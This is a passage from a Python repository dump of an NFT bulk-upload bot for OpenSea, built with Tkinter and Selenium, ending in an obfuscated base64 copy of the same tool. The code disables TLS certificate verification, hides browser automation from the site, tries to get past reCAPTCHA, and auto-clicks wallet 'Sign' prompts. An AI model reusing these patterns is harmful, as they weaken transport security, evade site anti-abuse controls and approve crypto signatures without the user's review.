metasign) 524 | time.sleep(0.7) 525 | 526 | 527 | #change control to main page 528 | driver.switch_to.window(main_page) 529 | time.sleep(1) 530 | 531 | start_num = start_num + 1 532 | print('NFT creation completed!') 533 | time.sleep(2) 534 | 535 | driver.get("https://www.opensea.io") 536 | 537 | 538 | 539 | duration_value = IntVar() 540 | duration_value.set(value=180) 541 | duration_date = Frame(root, padx=0, pady=1) 542 | duration_date.grid(row=15, column=1, sticky=(N, W, E, S)) 543 | tk.Radiobutton(duration_date, text='1 day', variable=duration_value, value=1, anchor="w", command=save_duration, width=6,).grid(row=0, column=1) 544 | tk.Radiobutton(duration_date, text="3 days", variable=duration_value, value=3, anchor="w", command=save_duration, width=6, ).grid(row=0, column=2) 545 | tk.Radiobutton(duration_date, text="7 days", variable=duration_value, value=7, anchor="w", command=save_duration, width=6,).grid(row=0, column=3) 546 | tk.Radiobutton(duration_date, text="30 days", variable=duration_value, value=30, anchor="w", command=save_duration, width=7,).grid(row=0, column=4) 547 | tk.Radiobutton(duration_date, text="90 days", variable=duration_value, value=90, anchor="w",command=save_duration, width=7,).grid(row=0, column=5) 548 | tk.Radiobutton(duration_date, text="180 days", variable=duration_value, value=180, anchor="w", command=save_duration, width=7).grid(row=0, column=6) 549 | duration_date.label = Label(root, text="Duration:", anchor="nw", width=20, height=2 ) 550 | duration_date.label.grid(row=15, column=0, padx=12, pady=0) 551 | 552 | isSensitive = tkinter.Checkbutton(root, text='Sensitive Content', var=is_sensitivecontent, width=49, anchor="w") 553 | isSensitive.grid(row=17, column=1) 554 | isCreate = tkinter.Checkbutton(root, text='Complete Listing', var=is_listing, width=49, anchor="w") 555 | isCreate.grid(row=19, column=1) 556 | isPolygon = tkinter.Checkbutton(root, text='Polygon Blockchain', var=is_polygon, width=49, anchor="w") 557 | isPolygon.grid(row=20, column=1) 558 | upload_folder_input_button = tkinter.Button(root, width=50, height=1, text="Add NFTs Upload Folder", command=upload_folder_input) 559 | upload_folder_input_button.grid(row=21, column=1, padx=2) 560 | open_browser = tkinter.Button(root, width=50, height=1, text="Open Chrome Browser", command=open_chrome_profile) 561 | open_browser.grid(row=23, column=1, pady=2) 562 | button_save = tkinter.Button(root, width=50, height=1, text="Save This Form", command=save) 563 | button_save.grid(row=22, column=1, pady=2) 564 | button_start = tkinter.Button(root, width=44, height=2, bg="green", fg="white", text="Start", command=main_program_loop) 565 | button_start['font'] = font.Font(size=10, weight='bold') 566 | button_start.grid(row=25, column=1, pady=2) 567 | footer = tkinter.Button(root, height=3, width=60, text='Do you you want to show support? \n Now you have the chance to buy me a coffee. Thank you.', command=coffeeURL, relief=GROOVE ) 568 | footer.grid(row=31, columnspan=2, padx=31, pady=31) 569 | 570 | try: 571 | with open(save_file_path(), "rb") as infile: 572 | new_dict = pickle.load(infile) 573 | global upload_path 574 | Name_change_img_folder_button(new_dict[0]) 575 | upload_path = new_dict[0] 576 | except FileNotFoundError: 577 | pass 578 | #####BUTTON ZONE END####### 579 | root.mainloop() 580 | -------------------------------------------------------------------------------- /Old/upload_captcha.py: -------------------------------------------------------------------------------- 1 | import tkinter 2 | import subprocess 3 | from tkinter import * 4 | from tkinter import filedialog 5 | import tkinter as tk 6 | from tkinter import ttk 7 | from tkinter import messagebox 8 | import tkinter.font as font 9 | from turtle import width 10 | from PIL import ImageTk, Image 11 | import urllib.request 12 | from io import BytesIO 13 | import os 14 | import io 15 | import sys 16 | import pickle 17 | import time 18 | from decimal import * 19 | import webbrowser 20 | # from click import command 21 | from selenium import webdriver 22 | from selenium.webdriver.common.by import By 23 | from selenium.webdriver.support.wait import WebDriverWait 24 | from selenium.webdriver.chrome.options import Options 25 | from selenium.webdriver.chrome.service import Service 26 | from selenium.webdriver.support import expected_conditions as ExpectedConditions 27 | from selenium.common.exceptions import NoSuchElementException 28 | from selenium.webdriver.support.ui import Select 29 | from selenium.webdriver.common.keys import Keys 30 | from datetime import timedelta 31 | import dateutil.relativedelta 32 | from datetime import timedelta, date 33 | import locale 34 | import json 35 | import ssl 36 | import random 37 | 38 | 39 | ssl._create_default_https_context = ssl._create_unverified_context 40 | 41 | #check local date format 42 | locale.setlocale(locale.LC_ALL, '') 43 | lastdate = date(date.today().year, 12, 31) 44 | 45 | root = Tk() 46 | root.geometry('750x750') 47 | root.resizable(False, False) 48 | root.title("NFTs Upload to OpenSea v1.8.9") 49 | 50 | input_save_list = ["NFTs folder :", 0, 0, 0, 0, 0, 0, 0, 0, 0] 51 | main_directory = os.path.join(sys.path[0]) 52 | 53 | 54 | def supportURL(): 55 | webbrowser.open_new("https://www.infotrex.net/opensea/support.asp?r=app") 56 | 57 | def coffeeURL(): 58 | webbrowser.open_new("https://github.com/infotrex/bulk-upload-to-opensea/#thanks") 59 | 60 | 61 | class WebImage: 62 | def __init__(self, url): 63 | with urllib.request.urlopen(url) as u: 64 | raw_data = u.read() 65 | #self.image = tk.PhotoImage(data=base64.encodebytes(raw_data)) 66 | image = Image.open(io.BytesIO(raw_data)) 67 | self.image = ImageTk.PhotoImage(image) 68 | 69 | def get(self): 70 | return self.image 71 | imageurl = "https://www.infotrex.net/opensea/header.png" 72 | img = WebImage(imageurl).get() 73 | imagelab = tk.Label(root, image=img) 74 | imagelab.grid(row=0, columnspan=2) 75 | imagelab.bind("", lambda e:supportURL()) 76 | 77 | is_polygon = BooleanVar() 78 | is_polygon.set(True) 79 | 80 | is_listing = BooleanVar() 81 | is_listing.set(True) 82 | 83 | is_numformat = BooleanVar() 84 | is_numformat.set(False) 85 | 86 | is_sensitivecontent = BooleanVar() 87 | is_sensitivecontent.set(False) 88 | 89 | def save_duration(): 90 | duration_value.set(value=duration_value.get()) 91 | # print(duration_value.get()) 92 | 93 | def open_chrome_profile(): 94 | subprocess.Popen( 95 | [ 96 | "start", 97 | "chrome", 98 | "--remote-debugging-port=8989", 99 | "--user-data-dir=" + main_directory + "/chrome_profile", 100 | ], 101 | shell=True, 102 | ) 103 | 104 | 105 | def save_file_path(): 106 | return os.path.join(sys.path[0], "Save_gui.cloud") 107 | 108 | 109 | # ask for directory on clicking button, changes button name. 110 | def upload_folder_input(): 111 | global upload_path 112 | upload_path = filedialog.askdirectory() 113 | Name_change_img_folder_button(upload_path) 114 | 115 | def Name_change_img_folder_button(upload_folder_input): 116 | upload_folder_input_button["text"] = upload_folder_input 117 | 118 | def is_numeric(val): 119 | if str(val).isdigit(): 120 | return True 121 | elif str(val).replace('.','',1).isdigit(): 122 | return True 123 | else: 124 | return False 125 | 126 | def check_exists_by_xpath(driver, xpath): 127 | try: 128 | # driver.find_element_by_xpath(xpath) 129 | driver.find_element(By.XPATH, xpath) 130 | except NoSuchElementException: 131 | return False 132 | return True 133 | 134 | class InputField: 135 | def __init__(self, label, row_io, column_io, pos, master=root): 136 | self.master = master 137 | self.input_field = Entry(self.master, width=60) 138 | self.input_field.grid(ipady=3) 139 | self.input_field.label = Label(master, text=label, anchor="w", width=20, height=1 ) 140 | self.input_field.label.grid(row=row_io, column=column_io, padx=12, pady=2) 141 | self.input_field.grid(row=row_io, column=column_io + 1, padx=12, pady=2) 142 | 143 | try: 144 | with open(save_file_path(), "rb") as infile: 145 | new_dict = pickle.load(infile) 146 | self.insert_text(new_dict[pos]) 147 | except FileNotFoundError: 148 | pass 149 | 150 | def insert_text(self, text): 151 | self.input_field.delete(0, "end") 152 | self.input_field.insert(0, text) 153 | 154 | def save_inputs(self, pos): 155 | #messagebox.showwarning("showwarning", "Warning") 156 | input_save_list.insert(pos, self.input_field.get()) 157 | #print(self.input_field.get()) 158 | with open(save_file_path(), "wb") as outfile: 159 | pickle.dump(input_save_list, outfile) 160 | 161 | def validate_inputs(self, maxlen, type, message): 162 | 163 | if type == 0 and (len(self.input_field.get()) == 0 or (self.input_field.get()).isdigit() != True or len(self.input_field.get()) > maxlen): 164 | messagebox.showwarning("showwarning", message) 165 | 166 | elif type == 1 and (len(self.input_field.get()) == 0 or is_numeric(self.input_field.get()) == False or len(self.input_field.get()) >= maxlen): 167 | messagebox.showwarning("showwarning", message) 168 | 169 | elif type == 2 and ( len(self.input_field.get()) == 0 or len(self.input_field.get()) > maxlen): 170 | messagebox.showwarning("showwarning", message) 171 | 172 | else: 173 | return True 174 | 175 | 176 | ###input objects### 177 | collection_link_input = InputField("OpenSea Collection Link:", 2, 0, 1) 178 | start_num_input = InputField("Start Number:", 3, 0, 2) 179 | end_num_input = InputField("End Number:", 4, 0, 3) 180 | price = InputField("Default Price:", 5, 0, 4) 181 | title = InputField("Title:", 6, 0, 5) 182 | description = InputField("Description:", 7, 0, 6) 183 | file_format = InputField("NFT Image Format:", 8, 0, 7) 184 | external_link = InputField("External link:", 9, 0, 8) 185 | 186 | 187 | def save(): 188 | 189 | if len(start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) == 0 or (int(end_num_input.input_field.get()) < int(start_num_input.input_field.get())): 190 | #messagebox.showwarning("showwarning", "End number should greater than start number!") 191 | print ("true") 192 | elif len( start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) > 5 : 193 | #messagebox.showwarning("showwarning", "Start / end number range 0 - 99999") 194 | print ("true") 195 | else: 196 | collection_link_input.validate_inputs(200, 2, 'Collection link required') 197 | price.validate_inputs(100, 1, 'Price required') 198 | title.validate_inputs(100, 2, 'title required') 199 | description.validate_inputs(500, 2, 'description required') 200 | file_format.validate_inputs(100, 2, 'file format required - png, jpg, jpeg, gif') 201 | external_link.validate_inputs(300, 3, '') 202 | 203 | 204 | input_save_list.insert(0, upload_path) 205 | collection_link_input.save_inputs(1) 206 | start_num_input.save_inputs(2) 207 | end_num_input.save_inputs(3) 208 | price.save_inputs(4) 209 | title.save_inputs(5) 210 | description.save_inputs(6) 211 | file_format.save_inputs(7) 212 | external_link.save_inputs(8) 213 | 214 | 215 | def main_program_loop(): 216 | 217 | if len(end_num_input.input_field.get()) > 5 : 218 | messagebox.showwarning("showwarning", "Start / end number range 0 - 99999") 219 | sys.exit() 220 | 221 | project_path = main_directory 222 | file_path = upload_path 223 | collection_link = collection_link_input.input_field.get() 224 | start_num = int(start_num_input.input_field.get()) 225 | end_num = int(end_num_input.input_field.get()) 226 | loop_price = float(price.input_field.get()) 227 | loop_title = title.input_field.get() 228 | loop_file_format = file_format.input_field.get() 229 | loop_external_link = str(external_link.input_field.get()) 230 | loop_description = description.input_field.get() 231 | 232 | 233 | 234 | ##chromeoptions 235 | opt = Options() 236 | opt.add_argument("--disable-blink-features=AutomationControlled") 237 | opt.add_experimental_option("debuggerAddress", "localhost:8989") 238 | driver = webdriver.Chrome(executable_path=project_path + "/chromedriver.exe",options=opt) 239 | # driver = webdriver.Chrome( service=Service(project_path + "/chromedriver.exe"), options=opt ) 240 | wait = WebDriverWait(driver, 60) 241 | 242 | ###wait for methods 243 | def wait_css_selector(code): 244 | wait.until( 245 | ExpectedConditions.presence_of_element_located((By.CSS_SELECTOR, code)) 246 | ) 247 | 248 | def wait_css_selectorTest(code): 249 | wait.until( 250 | ExpectedConditions.elementToBeClickable((By.CSS_SELECTOR, code)) 251 | ) 252 | 253 | def wait_xpath(code): 254 | wait.until(ExpectedConditions.presence_of_element_located((By.XPATH, code))) 255 | 256 | 257 | def wait_xpath_clickable(code): 258 | wait.until(ExpectedConditions.element_to_be_clickable((By.XPATH, code))) 259 | 260 | def check_exists_by_tagname(tagname): 261 | try: 262 | # driver.find_element_by_tagname(tagname) 263 | driver.find_element(By.TAG_NAME, tagname) 264 | except NoSuchElementException: 265 | return False 266 | return True 267 | 268 | def delay(waiting_time=10): 269 | driver.implicitly_wait(waiting_time) 270 | 271 | sleeptime = random.uniform(1.25, 2.95) 272 | 273 | while end_num >= start_num: 274 | if is_numformat.get(): 275 | start_numformat = f"{ start_num:04}" 276 | else: 277 | start_numformat = f"{ start_num:01}" 278 | 279 | print("Start creating NFT " + loop_title + str(start_numformat)) 280 | print('number ', start_numformat) 281 | driver.get(collection_link) 282 | 283 | 284 | wait_xpath('//*[@id="media"]') 285 | imageUpload = driver.find_element(By.XPATH, '//*[@id="media"]') 286 | imagePath = os.path.abspath(file_path + "\\images\\" + str(start_numformat) + "." + loop_file_format) # change folder here 287 | imageUpload.send_keys(imagePath) 288 | time.sleep(sleeptime) 289 | 290 | name = driver.find_element(By.XPATH, '//*[@id="name"]') 291 | name.send_keys(loop_title + str(start_numformat)) # +1000 for other folders #change name before "#" 292 | time.sleep(sleeptime) 293 | 294 | ext_link = driver.find_element(By.XPATH, '//*[@id="external_link"]') 295 | ext_link.send_keys(loop_external_link) 296 | time.sleep(sleeptime) 297 | 298 | desc = driver.find_element(By.XPATH, '//*[@id="description"]') 299 | desc.send_keys(loop_description) 300 | time.sleep(sleeptime) 301 | 302 | jsonFile = file_path + "/json/"+ str(start_numformat) + ".json" 303 | if os.path.isfile(jsonFile) and os.access(jsonFile, os.R_OK): 304 | 305 | #print(str(jsonMetaData)) 306 | wait_css_selector("button[aria-label='Add properties']") 307 | properties = driver.find_element(By.CSS_SELECTOR, "button[aria-label='Add properties']") 308 | driver.execute_script("arguments[0].click();", properties) 309 | time.sleep(sleeptime) 310 | 311 | # checks if file exists 312 | jsonData = json.loads(open(file_path + "\\json\\"+ str(start_numformat) + ".json").read()) 313 | 314 | if "attributes" in jsonData: 315 | jsonMetaData = jsonData['attributes'] 316 | 317 | for key in jsonMetaData: 318 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input') 319 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input') 320 | #print(str(key['trait_type'])) 321 | #print(str(key['value'])) 322 | input1.send_keys(str(key['trait_type'])) 323 | input2.send_keys(str(key['value'])) 324 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]') 325 | driver.execute_script("arguments[0].click();", addmore_button) 326 | time.sleep(0.95) 327 | 328 | try: 329 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]') 330 | driver.execute_script("arguments[0].click();", save_button) 331 | time.sleep(sleeptime) 332 | except: 333 | driver.find_element(By.XPATH, '//button[text()="Save"]').click() 334 | time.sleep(sleeptime) 335 | 336 | elif "properties" in jsonData: 337 | jsonMetaData = jsonData['properties'] 338 | 339 | for key in jsonMetaData: 340 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input') 341 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input') 342 | #print(str(key['type'])) 343 | #print(str(key['name'])) 344 | input1.send_keys(str(key['type'])) 345 | input2.send_keys(str(key['name'])) 346 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]') 347 | driver.execute_script("arguments[0].click();", addmore_button) 348 | time.sleep(0.9) 349 | 350 | try: 351 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]') 352 | driver.execute_script("arguments[0].click();", save_button) 353 | time.sleep(sleeptime) 354 | except: 355 | driver.find_element(By.XPATH, '//button[text()="Save"]').click() 356 | time.sleep(sleeptime) 357 | 358 | else: 359 | print("keys not found!") 360 | 361 | if is_sensitivecontent.get(): 362 | #Explicit & Sensitive toggle 363 | wait_xpath('//*[@id="explicit-content-toggle"]') 364 | toggle_sensivity = driver.find_element(By.XPATH,'//*[@id="explicit-content-toggle"]') 365 | # toggle_sensivity.location_once_scrolled_into_view 366 | driver.execute_script("return arguments[0].click();", toggle_sensivity) 367 | time.sleep(1.1) 368 | 369 | # Select Polygon blockchain if applicable 370 | wait_xpath('//*[@id="chain"]') 371 | default_blockchain = driver.find_element(By.ID, "chain").get_attribute("value") 372 | print(default_blockchain) 373 | 374 | 375 | if is_polygon.get(): 376 | pass 377 | 378 | 379 | create = driver.find_element(By.XPATH, '//*[@id="__next"]/div[1]/main/div/div/section/div[2]/form/div/div[1]/span/button') 380 | driver.execute_script("arguments[0].click();", create) 381 | time.sleep(sleeptime) 382 | 383 | main_page = driver.current_window_handle 384 | 385 | if check_exists_by_xpath(driver, '//h4[text()="Almost done"]'): 386 | wait_xpath('//h4[text()="Almost done"]') 387 | captcha_element = driver.find_element(By.XPATH,'//h4[text()="Almost done"]') 388 | 389 | if check_exists_by_tagname('iframe'): 390 | 391 | iframes = driver.find_elements(By.TAG_NAME, "iframe") 392 | driver.switch_to.frame(iframes[0]) 393 | 394 | try: 395 | checkbox_button = WebDriverWait(driver, 10).until(ExpectedConditions.element_to_be_clickable((By.ID ,"recaptcha-anchor"))) 396 | checkbox_button.click() 397 | except: 398 | pass 399 | 400 | driver.switch_to.default_content() 401 | # driver.switch_to.frame(iframes[-1]) 402 | 403 | # click on audio challenge 404 | WebDriverWait(driver, 10).until(ExpectedConditions.frame_to_be_available_and_switch_to_it((By.CSS_SELECTOR,"iframe[title='recaptcha challenge expires in two minutes']"))) 405 | time.sleep(1) 406 | 407 | try: 408 | # capt_btn = WebDriverWait(driver, 50).until(ExpectedConditions.element_to_be_clickable((By.XPATH ,'//*[@id="recaptcha-audio-button"]'))) 409 | wait_xpath('/html/body/div[1]/div/div[3]/div[2]/div[1]/div[1]/div[4]') 410 | capt_btn = driver.find_element(By.XPATH, '/html/body/div[1]/div/div[3]/div[2]/div[1]/div[1]/div[4]') 411 | capt_btn.click() 412 | time.sleep(sleeptime) 413 | except: 414 | # capt_btn = WebDriverWait(driver, 10).until(ExpectedConditions.element_to_be_clickable((By.XPATH ,'//*[@id="solver-button"]'))) 415 | capt_btn = driver.find_element_by_xpath("//button[@id='solver-button']") 416 | driver.execute_script("arguments[0].click();", capt_btn) 417 | time.sleep(sleeptime) 418 | 419 | driver.switch_to.default_content() 420 | time.sleep(sleeptime) 421 | 422 | else: 423 | print("captcha not found") 424 | else: 425 | print("no captcha") 426 | 427 | # try: 428 | # delay() 429 | # cross = WebDriverWait(driver, 360).until(ExpectedConditions.presence_of_element_located((By.XPATH, '/html/body/div[6]/div/div/div/div[2]/button/i'))) 430 | # cross.click() 431 | # time.sleep(sleeptime) 432 | # except: 433 | # delay() 434 | # cross = WebDriverWait(driver, 360).until(ExpectedConditions.presence_of_element_located((By.XPATH, '/html/body/div[5]/div/div/div/div[2]/button/i'))) 435 | # driver.execute_script("arguments[0].click();", cross) 436 | # time.sleep(sleeptime) 437 | 438 | try: 439 | wait_xpath('/html/body/div[6]/div/div/div/div[2]/button/i') 440 | cross = driver.find_element(By.XPATH, '/html/body/div[6]/div/div/div/div[2]/button/i') 441 | cross.click() 442 | time.sleep(sleeptime) 443 | except: 444 | wait_xpath('/html/body/div[5]/div/div/div/div[2]/button/i') 445 | cross = driver.find_element(By.XPATH, '/html/body/div[5]/div/div/div/div[2]/button/i') 446 | driver.execute_script("arguments[0].click();", cross) 447 | time.sleep(2) 448 | 449 | 450 | main_page = driver.current_window_handle 451 | 452 | if is_listing.get(): 453 | 454 | wait_xpath('//a[text()="Sell"]') 455 | sell = driver.find_element(By.XPATH, '//a[text()="Sell"]') 456 | driver.execute_script("arguments[0].click();", sell) 457 | time.sleep(2) 458 | 459 | wait_css_selector("input[placeholder='Amount']") 460 | amount = driver.find_element(By.CSS_SELECTOR, "input[placeholder='Amount']") 461 | amount.send_keys(str(loop_price)) 462 | time.sleep(sleeptime) 463 | 464 | #duration 465 | duration_date = duration_value.get() 466 | 467 | #if duration_date != 30: 468 | amount.send_keys(Keys.TAB) 469 | time.sleep(sleeptime) 470 | 471 | wait_xpath('//*[@role="dialog"]/div[1]/div[1]/div/input') 472 | select_durationday = driver.find_element(By.XPATH, '//*[@role="dialog"]/div[1]/div[1]/div/input') 473 | select_durationday.click() 474 | if duration_date == 1 : 475 | range_button_location = '//span[normalize-space() = "1 day"]' 476 | if duration_date == 3 : 477 | range_button_location = '//span[normalize-space() = "3 days"]' 478 | if duration_date == 7 : 479 | range_button_location = '//span[normalize-space() = "7 days"]' 480 | if duration_date == 30 : 481 | range_button_location = '//span[normalize-space() = "1 month"]' 482 | if duration_date == 90 : 483 | range_button_location = '//span[normalize-space() = "3 months"]' 484 | if duration_date == 180 : 485 | range_button_location = '//span[normalize-space() = "6 months"]' 486 | 487 | wait.until(ExpectedConditions.presence_of_element_located( 488 | (By.XPATH, range_button_location))) 489 | ethereum_button = driver.find_element( 490 | By.XPATH, range_button_location) 491 | ethereum_button.click() 492 | select_durationday.send_keys(Keys.ENTER) 493 | time.sleep(sleeptime) 494 | 495 | delay() 496 | wait_css_selector("button[type='submit']") 497 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']") 498 | driver.execute_script("arguments[0].click();", listing) 499 | time.sleep(8) 500 | 501 | #if is_polygon.get(): 502 | #driver.find_element(By.XPATH, '//button[text()="Sign"]').click() 503 | #time.sleep(sleeptime) 504 | 505 | for handle in driver.window_handles: 506 | if handle != main_page: 507 | login_page = handle 508 | #break 509 | 510 | driver.switch_to.window(login_page) 511 | 512 | if is_polygon.get(): 513 | try: 514 | driver.find_element(By.XPATH, "//*[@id='app-content']/div/div[2]/div/div[3]/div[1]").click() 515 | time.sleep(0.7) 516 | except: 517 | wait_xpath("//div[@class='signature-request-message__scroll-button']") 518 | polygonscrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']") 519 | driver.execute_script("arguments[0].click();", polygonscrollsign) 520 | time.sleep(0.7) 521 | 522 | try: 523 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]') 524 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click() 525 | time.sleep(0.7) 526 | except: 527 | wait_xpath('//button[text()="Sign"]') 528 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]') 529 | driver.execute_script("arguments[0].click();", metasign) 530 | time.sleep(0.7) 531 | else: 532 | try: 533 | driver.find_element(By.XPATH, "//*[@id='app-content']/div/div[2]/div/div[3]/div[1]").click() 534 | time.sleep(0.7) 535 | except: 536 | wait_xpath("//div[@class='signature-request-message__scroll-button']") 537 | scrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']") 538 | driver.execute_script("arguments[0].click();", scrollsign) 539 | time.sleep(0.7) 540 | 541 | try: 542 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]') 543 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click() 544 | time.sleep(0.7) 545 | except: 546 | wait_xpath('//button[text()="Sign"]') 547 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]') 548 | driver.execute_script("arguments[0].click();", metasign) 549 | time.sleep(0.7) 550 | 551 | 552 | #change control to main page 553 | driver.switch_to.window(main_page) 554 | time.sleep(sleeptime) 555 | 556 | start_num = start_num + 1 557 | print('NFT creation completed!') 558 | time.sleep(sleeptime) 559 | 560 | driver.get("https://www.opensea.io") 561 | 562 | 563 | 564 | duration_value = IntVar() 565 | duration_value.set(value=180) 566 | duration_date = Frame(root, padx=0, pady=1) 567 | duration_date.grid(row=15, column=1, sticky=(N, W, E, S)) 568 | tk.Radiobutton(duration_date, text='1 day', variable=duration_value, value=1, anchor="w", command=save_duration, width=6,).grid(row=0, column=1) 569 | tk.Radiobutton(duration_date, text="3 days", variable=duration_value, value=3, anchor="w", command=save_duration, width=6, ).grid(row=0, column=2) 570 | tk.Radiobutton(duration_date, text="7 days", variable=duration_value, value=7, anchor="w", command=save_duration, width=6,).grid(row=0, column=3) 571 | tk.Radiobutton(duration_date, text="30 days", variable=duration_value, value=30, anchor="w", command=save_duration, width=7,).grid(row=0, column=4) 572 | tk.Radiobutton(duration_date, text="90 days", variable=duration_value, value=90, anchor="w",command=save_duration, width=7,).grid(row=0, column=5) 573 | tk.Radiobutton(duration_date, text="180 days", variable=duration_value, value=180, anchor="w", command=save_duration, width=7).grid(row=0, column=6) 574 | duration_date.label = Label(root, text="Duration:", anchor="nw", width=20, height=2 ) 575 | duration_date.label.grid(row=15, column=0, padx=12, pady=0) 576 | 577 | isSensitive = tkinter.Checkbutton(root, text='Sensitive Content', var=is_sensitivecontent, width=49, anchor="w") 578 | isSensitive.grid(row=17, column=1) 579 | isCreate = tkinter.Checkbutton(root, text='Complete Listing', var=is_listing, width=49, anchor="w") 580 | isCreate.grid(row=19, column=1) 581 | isPolygon = tkinter.Checkbutton(root, text='Polygon Blockchain', var=is_polygon, width=49, anchor="w") 582 | isPolygon.grid(row=20, column=1) 583 | upload_folder_input_button = tkinter.Button(root, width=50, height=1, text="Add NFTs Upload Folder", command=upload_folder_input) 584 | upload_folder_input_button.grid(row=21, column=1, padx=2) 585 | open_browser = tkinter.Button(root, width=50, height=1, text="Open Chrome Browser", command=open_chrome_profile) 586 | open_browser.grid(row=23, column=1, pady=2) 587 | button_save = tkinter.Button(root, width=50, height=1, text="Save This Form", command=save) 588 | button_save.grid(row=22, column=1, pady=2) 589 | button_start = tkinter.Button(root, width=44, height=2, bg="green", fg="white", text="Start", command=main_program_loop) 590 | button_start['font'] = font.Font(size=10, weight='bold') 591 | button_start.grid(row=25, column=1, pady=2) 592 | footer = tkinter.Button(root, height=2, width=60, text='Do you you want to show support? \n Now you have the chance to buy me a coffee. Thank you.', command=coffeeURL, relief=FLAT ) 593 | footer.grid(row=31, columnspan=2, padx=31, pady=10) 594 | 595 | try: 596 | with open(save_file_path(), "rb") as infile: 597 | new_dict = pickle.load(infile) 598 | global upload_path 599 | Name_change_img_folder_button(new_dict[0]) 600 | upload_path = new_dict[0] 601 | except FileNotFoundError: 602 | pass 603 | #####BUTTON ZONE END####### 604 | root.mainloop() 605 | -------------------------------------------------------------------------------- /Old/upload_fixedSSL.py: -------------------------------------------------------------------------------- 1 | # Python code obfuscated by www.development-tools.net 2 | 3 | 4 | import base64, codecs 5 | magic = 'aW1wb3J0IHRraW50ZXIKaW1wb3J0IHN1YnByb2Nlc3MKZnJvbSB0a2ludGVyIGltcG9ydCAqCmZyb20gdGtpbnRlciBpbXBvcnQgZmlsZWRpYWxvZwppbXBvcnQgdGtpbnRlciBhcyB0awpmcm9tIHRraW50ZXIgaW1wb3J0IG1lc3NhZ2Vib3gKaW1wb3J0IHRraW50ZXIuZm9udCBhcyBmb250CmZyb20gUElMIGltcG9ydCBJbWFnZVRrLCBJbWFnZQppbXBvcnQgdXJsbGliLnJlcXVlc3QKZnJvbSBpbyBpbXBvcnQgQnl0ZXNJTwppbXBvcnQgb3MKaW1wb3J0IGlvCmltcG9ydCBzeXMKaW1wb3J0IHBpY2tsZQppbXBvcnQgdGltZQpmcm9tIGRlY2ltYWwgaW1wb3J0ICoKaW1wb3J0IHdlYmJyb3dzZXIKZnJvbSBzZWxlbml1bSBpbXBvcnQgd2ViZHJpdmVyCmZyb20gc2VsZW5pdW0ud2ViZHJpdmVyLmNvbW1vbi5ieSBpbXBvcnQgQnkKZnJvbSBzZWxlbml1bS53ZWJkcml2ZXIuc3VwcG9ydC53YWl0IGltcG9ydCBXZWJEcml2ZXJXYWl0CmZyb20gc2VsZW5pdW0ud2ViZHJpdmVyLmNocm9tZS5vcHRpb25zIGltcG9ydCBPcHRpb25zCmZyb20gc2VsZW5pdW0ud2ViZHJpdmVyLnN1cHBvcnQgaW1wb3J0IGV4cGVjdGVkX2NvbmRpdGlvbnMgYXMgRXhwZWN0ZWRDb25kaXRpb25zCmZyb20gc2VsZW5pdW0ud2ViZHJpdmVyLnN1cHBvcnQudWkgaW1wb3J0IFNlbGVjdAppbXBvcnQganNvbiAKaW1wb3J0IHNzbAppbXBvcnQgY2VydGlmaQoKc3NsLl9jcmVhdGVfZGVmYXVsdF9odHRwc19jb250ZXh0ID0gc3NsLl9jcmVhdGVfdW52ZXJpZmllZF9jb250ZXh0Cgpyb290ID0gVGsoKQoKcm9vdC5nZW9tZXRyeSgnNzUweDc1MCcpCnJvb3QucmVzaXphYmxlKEZhbHNlLCBGYWxzZSkKcm9vdC50aXRsZSgiTkZUcyBVcGxvYWQgdG8gT3BlblNlYSB2MS4wIikKICAKaW5wdXRfc2F2ZV9saXN0ID0gWyJORlRzIGZvbGRlciA6IiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMF0KbWFpbl9kaXJlY3RvcnkgPSBvcy5wYXRoLmpvaW4oc3lzLnBhdGhbMF0pCgoKZGVmIHN1cHBvcnRVUkwoKToKICAgIHdlYmJyb3dzZXIub3Blbl9uZXcoImh0dHBzOi8vd3d3LmluZm90cmV4Lm5ldC9vcGVuc2VhL3N1cHBvcnQuYXNwP3I9YXBwIikKCmRlZiBjb2ZmZWVVUkwoKToKICAgIHdlYmJyb3dzZXIub3Blbl9uZXcoImh0dHBzOi8vZ2l0aHViLmNvbS9pbmZvdHJleC9idWxrLXVwbG9hZC10by1vcGVuc2VhLyN0aGFua3MiKQoKY2xhc3MgV2ViSW1hZ2U6CiAgICBkZWYgX19pbml0X18oc2VsZiwgdXJsKToKICAgICAgICB3aXRoIHVybGxpYi5yZXF1ZXN0LnVybG9wZW4odXJsKSBhcyB1OgogICAgICAgICAgICByYXdfZGF0YSA9IHUucmVhZCgpCiAgICAgICAgI3NlbGYuaW1hZ2UgPSB0ay5QaG90b0ltYWdlKGRhdGE9YmFzZTY0LmVuY29kZWJ5dGVzKHJhd19kYXRhKSkKICAgICAgICBpbWFnZSA9IEltYWdlLm9wZW4oaW8uQnl0ZXNJTyhyYXdfZGF0YSkpCiAgICAgICAgc2VsZi5pbWFnZSA9IEltYWdlVGsuUGhvdG9JbWFnZShpbWFnZSkKCiAgICBkZWYgZ2V0KHNlbGYpOgogICAgICAgIHJldHVybiBzZWxmLmltYWdlCmltYWdldXJsID0gImh0dHBzOi8vd3d3LmluZm90cmV4Lm5ldC9vcGVuc2VhL2hlYWRlci5wbmciCmltZyA9IFd